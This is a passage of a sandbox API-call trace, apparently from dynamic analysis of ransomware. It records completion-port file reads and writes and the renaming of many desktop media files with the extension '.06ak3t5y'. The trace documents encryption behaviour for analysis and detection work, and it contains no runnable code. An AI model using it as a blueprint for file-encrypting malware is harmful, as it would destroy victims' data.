lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.722] WriteFile (in: hFile=0x268, lpBuffer=0x38b6d18, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38b6cf0 | out: lpBuffer=0x38b6d18, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38b6cf0) returned 0x0 [0110.722] RtlGetLastWin32Error () returned 0x3e5 [0110.722] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.722] WriteFile (in: hFile=0x260, lpBuffer=0x38cdc48, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38cdc20 | out: lpBuffer=0x38cdc48, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38cdc20) returned 0x0 [0110.722] RtlGetLastWin32Error () returned 0x3e5 [0110.722] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.722] WriteFile (in: hFile=0x264, lpBuffer=0x38e1a08, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38e19e0 | out: lpBuffer=0x38e1a08, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38e19e0) returned 0x0 [0110.722] RtlGetLastWin32Error () returned 0x3e5 [0110.722] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.722] WriteFile (in: hFile=0x25c, lpBuffer=0x38f2f38, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f10 | out: lpBuffer=0x38f2f38, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f10) returned 0x0 [0110.722] RtlGetLastWin32Error () returned 0x3e5 [0110.722] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.723] WriteFile (in: hFile=0x258, lpBuffer=0x38f9e98, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9e70 | out: lpBuffer=0x38f9e98, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f9e70) returned 0x0 [0110.723] RtlGetLastWin32Error () returned 0x3e5 [0110.723] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.723] WriteFile (in: hFile=0x280, lpBuffer=0x3901ad0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3901aa8 | out: lpBuffer=0x3901ad0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3901aa8) returned 0x0 [0110.723] RtlGetLastWin32Error () returned 0x3e5 [0110.723] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.723] WriteFile (in: hFile=0x288, lpBuffer=0x3908240, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3908218 | out: lpBuffer=0x3908240, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3908218) returned 0x0 [0110.723] RtlGetLastWin32Error () returned 0x3e5 [0110.723] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.723] WriteFile (in: hFile=0x290, lpBuffer=0x3912698, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3912670 | out: lpBuffer=0x3912698, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3912670) returned 0x0 [0110.723] RtlGetLastWin32Error () returned 0x3e5 [0110.724] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.724] WriteFile (in: hFile=0x2e8, lpBuffer=0x391fa28, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391fa00 | out: lpBuffer=0x391fa28, lpNumberOfBytesWritten=0x0, lpOverlapped=0x391fa00) returned 0x0 [0110.724] RtlGetLastWin32Error () returned 0x3e5 [0110.724] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.724] CloseHandle (hObject=0x254) returned 1 [0110.725] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xce) returned 0x3691568 [0110.725] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\0PUg.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\0pug.avi"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\0PUg.avi.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\0pug.avi.06ak3t5y")) returned 1 [0110.726] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691568) returned 1 [0110.726] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ea78) returned 1 [0110.726] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3891208) returned 1 [0110.726] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.726] CloseHandle (hObject=0x278) returned 1 [0110.728] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xde) returned 0x2070c20 [0110.728] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\50p5Co1z6EVm.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\50p5co1z6evm.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\50p5Co1z6EVm.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\50p5co1z6evm.gif.06ak3t5y")) returned 1 [0110.729] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0110.729] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086090) returned 1 [0110.729] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3896900) returned 1 [0110.729] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.729] CloseHandle (hObject=0x27c) returned 1 [0110.730] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xce) returned 0x3691568 [0110.730] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\51I4.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\51i4.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\51I4.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\51i4.png.06ak3t5y")) returned 1 [0110.731] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691568) returned 1 [0110.731] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ead0) returned 1 [0110.731] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x389c170) returned 1 [0110.731] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.731] CloseHandle (hObject=0x274) returned 1 [0110.732] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xec) returned 0x207d648 [0110.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\6f6hP6bBydZ1otviYKm.wav" (normalized: "c:\\users\\keecfmwgj\\desktop\\6f6hp6bbydz1otviykm.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\6f6hP6bBydZ1otviYKm.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\6f6hp6bbydz1otviykm.wav.06ak3t5y")) returned 1 [0110.733] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0110.733] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee788) returned 1 [0110.733] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38a62b0) returned 1 [0110.733] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.733] CloseHandle (hObject=0x26c) returned 1 [0110.734] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd0) returned 0x3691568 [0110.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\a6YjP.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\a6yjp.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\a6YjP.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\a6yjp.m4a.06ak3t5y")) returned 1 [0110.735] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691568) returned 1 [0110.735] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069840) returned 1 [0110.735] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38ab640) returned 1 [0110.735] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.735] ReadFile (in: hFile=0x2a4, lpBuffer=0x397e920, nNumberOfBytesToRead=0x10a1, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e7d0 | out: lpBuffer=0x397e920*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e7d0) returned 1 [0110.736] RtlGetLastWin32Error () returned 0x3e5 [0110.736] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.736] ReadFile (in: hFile=0x2f8, lpBuffer=0x3932378, nNumberOfBytesToRead=0x12444, lpNumberOfBytesRead=0x0, lpOverlapped=0x3932228 | out: lpBuffer=0x3932378*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3932228) returned 1 [0110.737] RtlGetLastWin32Error () returned 0x3e5 [0110.737] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.737] ReadFile (in: hFile=0x2f4, lpBuffer=0x3944918, nNumberOfBytesToRead=0xf5e1, lpNumberOfBytesRead=0x0, lpOverlapped=0x39447c8 | out: lpBuffer=0x3944918*, lpNumberOfBytesRead=0x0, lpOverlapped=0x39447c8) returned 1 [0110.738] RtlGetLastWin32Error () returned 0x3e5 [0110.739] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.739] ReadFile (in: hFile=0x2fc, lpBuffer=0x3954058, nNumberOfBytesToRead=0x15735, lpNumberOfBytesRead=0x0, lpOverlapped=0x3953f08 | out: lpBuffer=0x3954058*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3953f08) returned 1 [0110.740] RtlGetLastWin32Error () returned 0x3e5 [0110.740] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.740] ReadFile (in: hFile=0x300, lpBuffer=0x39698e8, nNumberOfBytesToRead=0x1118, lpNumberOfBytesRead=0x0, lpOverlapped=0x3969798 | out: lpBuffer=0x39698e8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3969798) returned 1 [0110.741] RtlGetLastWin32Error () returned 0x3e5 [0110.741] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.741] ReadFile (in: hFile=0x304, lpBuffer=0x44a0198, nNumberOfBytesToRead=0x17791, lpNumberOfBytesRead=0x0, lpOverlapped=0x44a0048 | out: lpBuffer=0x44a0198*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44a0048) returned 1 [0110.742] RtlGetLastWin32Error () returned 0x3e5 [0110.742] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.742] ReadFile (in: hFile=0x308, lpBuffer=0x396ab58, nNumberOfBytesToRead=0x686c, lpNumberOfBytesRead=0x0, lpOverlapped=0x396aa08 | out: lpBuffer=0x396ab58*, lpNumberOfBytesRead=0x0, lpOverlapped=0x396aa08) returned 1 [0110.743] RtlGetLastWin32Error () returned 0x3e5 [0110.743] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.743] ReadFile (in: hFile=0x30c, lpBuffer=0x44b7a88, nNumberOfBytesToRead=0xdb0a, lpNumberOfBytesRead=0x0, lpOverlapped=0x44b7938 | out: lpBuffer=0x44b7a88*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44b7938) returned 1 [0110.744] RtlGetLastWin32Error () returned 0x3e5 [0110.744] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.744] ReadFile (in: hFile=0x310, lpBuffer=0x3971520, nNumberOfBytesToRead=0x4433, lpNumberOfBytesRead=0x0, lpOverlapped=0x39713d0 | out: lpBuffer=0x3971520*, lpNumberOfBytesRead=0x0, lpOverlapped=0x39713d0) returned 1 [0110.745] RtlGetLastWin32Error () returned 0x3e5 [0110.745] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.745] ReadFile (in: hFile=0x314, lpBuffer=0x44c56f0, nNumberOfBytesToRead=0xc3ad, lpNumberOfBytesRead=0x0, lpOverlapped=0x44c55a0 | out: lpBuffer=0x44c56f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44c55a0) returned 1 [0110.746] RtlGetLastWin32Error () returned 0x3e5 [0110.746] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.747] ReadFile (in: hFile=0x318, lpBuffer=0x44d1bf8, nNumberOfBytesToRead=0xaf05, lpNumberOfBytesRead=0x0, lpOverlapped=0x44d1aa8 | out: lpBuffer=0x44d1bf8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44d1aa8) returned 1 [0110.748] RtlGetLastWin32Error () returned 0x3e5 [0110.748] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.748] ReadFile (in: hFile=0x31c, lpBuffer=0x44dcc58, nNumberOfBytesToRead=0xc7e9, lpNumberOfBytesRead=0x0, lpOverlapped=0x44dcb08 | out: lpBuffer=0x44dcc58*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44dcb08) returned 1 [0110.749] RtlGetLastWin32Error () returned 0x3e5 [0110.749] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.749] ReadFile (in: hFile=0x320, lpBuffer=0x38806e0, nNumberOfBytesToRead=0xcfbf, lpNumberOfBytesRead=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38806e0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3880590) returned 1 [0110.750] RtlGetLastWin32Error () returned 0x3e5 [0110.750] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.750] ReadFile (in: hFile=0x324, lpBuffer=0x3975ab0, nNumberOfBytesToRead=0x48e5, lpNumberOfBytesRead=0x0, lpOverlapped=0x3975960 | out: lpBuffer=0x3975ab0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3975960) returned 1 [0110.751] RtlGetLastWin32Error () returned 0x3e5 [0110.751] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.751] ReadFile (in: hFile=0x328, lpBuffer=0x44e95a0, nNumberOfBytesToRead=0xd956, lpNumberOfBytesRead=0x0, lpOverlapped=0x44e9450 | out: lpBuffer=0x44e95a0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44e9450) returned 1 [0110.752] RtlGetLastWin32Error () returned 0x3e5 [0110.752] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.753] ReadFile (in: hFile=0x32c, lpBuffer=0x44f7050, nNumberOfBytesToRead=0x147e2, lpNumberOfBytesRead=0x0, lpOverlapped=0x44f6f00 | out: lpBuffer=0x44f7050*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44f6f00) returned 1 [0110.787] RtlGetLastWin32Error () returned 0x3e5 [0110.787] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.787] ReadFile (in: hFile=0x330, lpBuffer=0x450b990, nNumberOfBytesToRead=0x131a4, lpNumberOfBytesRead=0x0, lpOverlapped=0x450b840 | out: lpBuffer=0x450b990*, lpNumberOfBytesRead=0x0, lpOverlapped=0x450b840) returned 1 [0110.788] RtlGetLastWin32Error () returned 0x3e5 [0110.789] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.789] ReadFile (in: hFile=0x334, lpBuffer=0x388d7f8, nNumberOfBytesToRead=0x205b, lpNumberOfBytesRead=0x0, lpOverlapped=0x388d6a8 | out: lpBuffer=0x388d7f8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x388d6a8) returned 1 [0110.789] RtlGetLastWin32Error () returned 0x3e5 [0110.790] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.790] ReadFile (in: hFile=0x338, lpBuffer=0x388f9b0, nNumberOfBytesToRead=0x10bc, lpNumberOfBytesRead=0x0, lpOverlapped=0x388f860 | out: lpBuffer=0x388f9b0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x388f860) returned 1 [0110.790] RtlGetLastWin32Error () returned 0x3e5 [0110.791] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.791] ReadFile (in: hFile=0x33c, lpBuffer=0x451ec90, nNumberOfBytesToRead=0x133d0, lpNumberOfBytesRead=0x0, lpOverlapped=0x451eb40 | out: lpBuffer=0x451ec90*, lpNumberOfBytesRead=0x0, lpOverlapped=0x451eb40) returned 1 [0110.792] RtlGetLastWin32Error () returned 0x3e5 [0110.792] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.792] ReadFile (in: hFile=0x340, lpBuffer=0x45321b8, nNumberOfBytesToRead=0x218d, lpNumberOfBytesRead=0x0, lpOverlapped=0x4532068 | out: lpBuffer=0x45321b8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4532068) returned 1 [0110.793] RtlGetLastWin32Error () returned 0x3e5 [0110.793] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.793] ReadFile (in: hFile=0x344, lpBuffer=0x45344a0, nNumberOfBytesToRead=0xdc9c, lpNumberOfBytesRead=0x0, lpOverlapped=0x4534350 | out: lpBuffer=0x45344a0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4534350) returned 1 [0110.794] RtlGetLastWin32Error () returned 0x3e5 [0110.794] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.795] ReadFile (in: hFile=0x348, lpBuffer=0x4542298, nNumberOfBytesToRead=0xc3a9, lpNumberOfBytesRead=0x0, lpOverlapped=0x4542148 | out: lpBuffer=0x4542298*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4542148) returned 1 [0110.796] RtlGetLastWin32Error () returned 0x3e5 [0110.796] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.796] CloseHandle (hObject=0x270) returned 1 [0110.797] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xce) returned 0x3691568 [0110.797] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aB_q.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\ab_q.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aB_q.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ab_q.m4a.06ak3t5y")) returned 1 [0110.798] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3691568) returned 1 [0110.798] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208eb28) returned 1 [0110.799] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38acf50) returned 1 [0110.799] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.799] CloseHandle (hObject=0x268) returned 1 [0110.801] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd4) returned 0x30a82f0 [0110.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\AHmQ qy.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\ahmq qy.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\AHmQ qy.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\ahmq qy.mp3.06ak3t5y")) returned 1 [0110.802] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, 